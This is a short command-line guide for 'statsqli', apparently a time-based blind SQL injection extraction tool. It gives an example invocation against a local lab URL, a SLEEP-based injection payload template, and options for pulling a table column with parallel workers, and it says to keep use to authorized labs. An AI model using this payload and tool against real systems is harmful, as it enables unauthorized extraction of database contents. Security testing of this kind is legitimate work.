CLI Guide¶
The primary command-line entrypoint is statsqli.
Command format¶
Example:
statsqli "http://127.0.0.1:5000/vulnerable?id=1" \
--payload "' OR ({condition}) AND SLEEP(2) -- -" \
--table users \
--column username \
--where "id=1 LIMIT 0,1" \
--max-length 20
Arguments and options¶
url(positional): target URL with vulnerable parameter.--payload,-p: payload template containing{condition}placeholder.--delay,-d: fixed delay in seconds. If omitted, delay is auto-detected.--table,-t: table name (defaultusers).--column,-c: column name (defaultusername).--where,-w: WHERE clause (default1=1).--parallel: enable parallel extraction.--workers: number of parallel workers (default4).--max-length: max extracted string length (default100).
Typical workflow¶
- Start local vulnerable lab app.
- Run a short extraction (
--max-length 10) to verify setup. - Enable
--parallelonly after baseline reliability is confirmed. - Increase length and iteration complexity as needed.
Notes¶
- Delay auto-detection helps under changing network noise.
- Overly aggressive worker counts may increase instability or server load.
- Keep tests limited to authorized lab infrastructure.